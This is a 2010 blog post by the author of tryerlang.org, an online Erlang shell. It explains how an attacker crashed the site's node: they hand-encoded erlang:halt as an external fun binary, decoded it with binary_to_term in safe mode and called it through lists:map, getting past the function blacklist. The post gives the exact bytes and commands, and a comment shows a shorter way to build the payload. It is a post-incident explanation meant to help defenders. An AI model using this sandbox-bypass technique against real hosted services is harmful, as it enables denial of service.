//
you're reading...
Erlang, Hacking

How they tried to fool tryerlang.org


Preface

tryerlang.org is an Interactive Erlang Shell which allows you to try the power of Erlang directly in your browser, without installing anything in your machine. In the first months of his existence, tryerlang.org has been subjected to a countless number of attacks, aiming at bringing the Erlang node down. Studying the tryerlang.org’s logs has been so far an highly interesting and constructive experience.

In this blog post I will present one of the attempted attacks. The attack was based on the concept of External Term Representation for Erlang, which is introduced in the next section.

External Term Representation

In the distribution mechanism of Erlang, Erlang terms are converted into binaries before being sent to a remote host and then converted back into Erlang terms at the destination. The built-in functions term_to_binary and binary_to_term are used for the conversions.

More information about the External Term Representation are available in the official Erlang Documentation. How the External Term Representation has been used to perform the attack is explained in the next section.

Halting the Erlang Node

The user wants to bring the Erlang node down. He then tries to use the erlang:halt/0 function. This function, documented here, halts the Erlang runtime system and indicates normal exit to the calling environment. It has no return value. The function has been disabled in tryerlang.org for security reasons, so the only result the user get is the following message:

“This functionality has been disabled for security reasons in tryerlang.org.”.

So far, so good. The Erlang node is still up. The user thinks for a while and then he notices that tryerlang.org allows you to define funs. Here is where the External Term Representation can help. According to the documentation, it is possible to encode an external fun – something like fun M:F/A – in the  following way:

113 | Module | Function | Arity

Where Module and Function are atoms and Arity is  an integer. The atoms can be encoded using ATOM_EXT, while SMALL_INTEGER_EXT can be used for the arity integer.

The encoding for the atoms looks like:

100 | Len | AtomName

Where Len is the length of AtomName, expressed in two bytes.

Finally, the encoding for the small integers looks like:

97 | Int

The last thing we have to consider is that, in the External Term Representation, the byte 131 needs to be prepended to the term. Now that we have all the required knowledge to do it, let’ try to encode the erlang:halt/0 function using the External Term Representation and let see if we can fool tryerlang.org!

We could write the binaries for the atoms erlang and halt by hand, but it’s actually more handy to use the term_to_binary/1 BIF to do it for us. Since the function is blacklisted in tryerlang.org, let’s use our own shell.

Eshell V5.8.1  (abort with ^G)

> term_to_binary(erlang).

<<131,100,0,6,101,114,108,97,110,103>>

> term_to_binary(halt).

<<131,100,0,4,104,97,108,116>>

Skipping the initial 131 byte (see above) and concatenating the other two obtained terms, we have:

<<100,0,6,101,114,108,97,110,103,
100,0,4,104,97,108,116>>

Prepending the 131 (prefix for all terms) and 113 (prefix for external funs) bytes and appending the arity integer, we have:

<<131,113,
100,0,6,101,114,108,97,110,103,
100,0,4,104,97,108,116,
97,0>>

We should have the binary representation of the external fun erlang:halt/0. Let’s check it!

> binary_to_term(<<131,113,
100,0,6,101,114,108,97,110,103,
100,0,4,104,97,108,116,97,0>>).

8>#Fun<erlang.halt.0>

Let’s now take this binary from our shell and let’s paste it in tryerlang.org. Oh, I forgot that the online shell doesn’t allow copy and paste (what a shame!), so we have to fill the whole binary sequence by hand…

After a couple of minutes of struggling against typos and errors, here’s our wonderful fun which we can bind to a new variable:

>B = <<131,113,100,0,6,101,114,108,
97,110,103,100,0,4,104,97,108,116,97,0>>.

We now need to convert the binary into an Erlang term. Originally, tryerlang.org was allowing the binary_to_term function in safe mode. This function has been now completely disabled after this attack. If you want to try what follows you will need to do it in your own Erlang shell.

>F = binary_to_term(B, [safe]).

Let’s now try to launch the fun as:

>F().

Well, that didn’t work as expected. tryerlang.org actually realized that the erlang:halt/0 function was going to be called and he managed to block it. We need something different.

What would happens if we embed the halt function in another function call, say a list:map/2? The only problem would be that we need a parameter in our halt function. Fortunately an alternative version of erlang:halt/0 exists, taking exactly one argument. Let’s create an external representation for it. We just need to change the last element from 0 to 1. The BIF f/1 forgets the value of a bounded variable.

> f(B).

> B = <<131,113,100,0,6,101,114,
108,97,110,103,100,0,4,104,97,108,116,97,1>>.

Now we should be able to do…

> f(F).

>F = binary_to_term(B, [safe]).

>lists:map(F, [0]).

And the node dies.

Actually the node is almost immediately brought back by heart but, hey, I have to pay a beer to this guy! :)

Please note that the hacker had the advantage to look at the source code for tryerlang.org while performing the attack.

I wanted to share this experience with all of you. I consider it highly constructive, since it leads to reflect on several aspects of Erlang. Comments and feedback are more than welcome.

About these ads

About Roberto Aloi

Software Engineer and Erlanger. Author of www.tryerlang.org.

Discussion

7 thoughts on “How they tried to fool tryerlang.org

  1. Is it possible that binary_to_term/2 will be extended to prevent function calls?

    Posted by pablo | October 15, 2010, 2:54 am
  2. Haha, nice catch!

    BTW, he could even not bother himself with binaries joining in order to build the right binary.

    term_to_binary(fun erlang:halt/0).

    is enough.

    Posted by Dmitry Demeshchuk | October 15, 2010, 8:03 am
  3. Rather: “How they fooled tryerlang.org”, seeing that they tried and succeeded :)

    Posted by mazenharake | October 15, 2010, 8:25 am
  4. Well written (and interesting) summary Roberto!

    Posted by Marcus | October 25, 2010, 10:31 pm

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

Follow

Get every new post delivered to your Inbox.

%d bloggers like this: